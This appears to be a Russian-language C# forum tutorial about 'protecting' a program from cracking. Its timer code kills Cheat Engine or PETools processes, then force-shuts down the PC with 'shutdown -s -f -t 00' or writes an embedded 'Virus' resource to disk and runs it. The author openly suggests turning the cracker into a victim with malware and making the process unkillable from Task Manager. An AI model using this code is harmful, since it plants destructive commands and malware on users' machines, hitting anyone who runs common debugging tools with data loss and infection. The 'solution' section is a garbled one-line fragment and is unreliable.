Мощная защита от взлома программно! без использования левых протекторов - C#

Узнай цену своей работы

Формулировка задачи:

Здорова! Сегодня я расскажу вам как сделать защиту внутри программы. Мы не будет использовать протекторы! хотя накрыть вам се равно придётся, т.к декомпиляторы этим способом не проведешь. + защиты. 1.Нет возможности использовать дамперы, или тот же cheat engine чтобы сломать вашу программу. 2.Есть возможность добавить virus который активируется при попытках взлома, знаю вирусы тут запрещены, но это как пример для защиты своего продукта. 3.Можно сделать выключение компьютера при попытке взлома. Даже опытные реверсеры потерпят неудачу, попыткой запустить тот же чит энджин. Как все работает? + нужный код. Пользователь запускает программу, к примеру вы сделали свой лаунчер и тд. Запускает чит cheat engine и у него выбивает окно, что типа этого (Ваша попытка взлома привела вас к повреждению вашего компьютера) И так после того как пользователь это прочитал он нажимает ок и прога просто закрывается если вы прописали закрытие. Если вы прописали что то более мощное, к примеру выключение компьютера, я думаю взломщик несколько раз подумает стоит ли ломать чтобы опять запускать по новой комп. И на крайняк уже если вы хотите сами из хакера сделать жертву, то как вариант прописать запуск приложения из ресурсов, к примеру мощного вируса, но об этом не будем т.к подобное тут запрещено но суть вы поняли. Приступим к созданию. Создаем проект и заходим на 1 форму. Добавляем таймер и активируем его enable = true. Переходим к коду таймера.
private void timer1_Tick(object sender, EventArgs e)
        {
            try
            {
                Process[] processesByName = Process.GetProcessesByName("Cheat Engine"); // Имя  процесса
                Process[] array = processesByName;
                for (int i = 0; i < array.Length; i++)
                {
                    Process process = array[i];
                    process.Kill(); // убиваем процесс проги для взлома
                    MessageBox.Show("Сейчас компьютер будет выключен", "Плохой мальчик!"); // выводим сообщение
                    System.Diagnostics.Process.Start("cmd", "/c shutdown -s -f -t 00");                // эта команда выключает систему
                    
                }
            }
            catch (Exception ex2)
            {
                Exception ex = ex2;
                MessageBox.Show(ex.Message, "Не стоит тратить время!");
            }
            try
            {
                Process[] processesByName = Process.GetProcessesByName("PETools");      //имя процесса 
                Process[] array = processesByName;
                for (int i = 0; i < array.Length; i++)
                {
                    Process process = array[i];
                    process.Kill();         // убивает процесс программы для взлома
                    MessageBox.Show("Сейчас будет запущен вирус", "Не взломаешь - комп поломаешь!");
 
                    FileStream fs = new FileStream(file_exe, FileMode.Create);         // запускаем exe вирус из ресурсов
                    fs.Write(Resources.Virus, 0, Resources.Virus.Length);
                    fs.Close();
                    System.Diagnostics.Process.Start(file_exe);   
                }
            }
            catch (Exception ex3)
            {
                Exception ex = ex3;
                MessageBox.Show(ex.Message, "Взлом не удался");
             }
       }
Продолжать можно сколько угодно. Если вы хотите просто выключить программу после попытки взлома то: Добавлять после вывода сообщения или программа сразу закроется.
  application.exit();
Так же можно прописать команду которая не даст возможности закрыть процесс через диспетчер задач. Я имею ввиду что когда выйдет сообщения что ваш комп будет выключен, пользователь не сможет обхитрить и закрыть через диспетчер. Леха жжет всем спасибо!))

Решение задачи: «Мощная защита от взлома программно! без использования левых протекторов»

textual
Листинг программы
Resources.Virus.Length

Оцени полезность:

11   голосов , оценка 4.182 из 5
Похожие ответы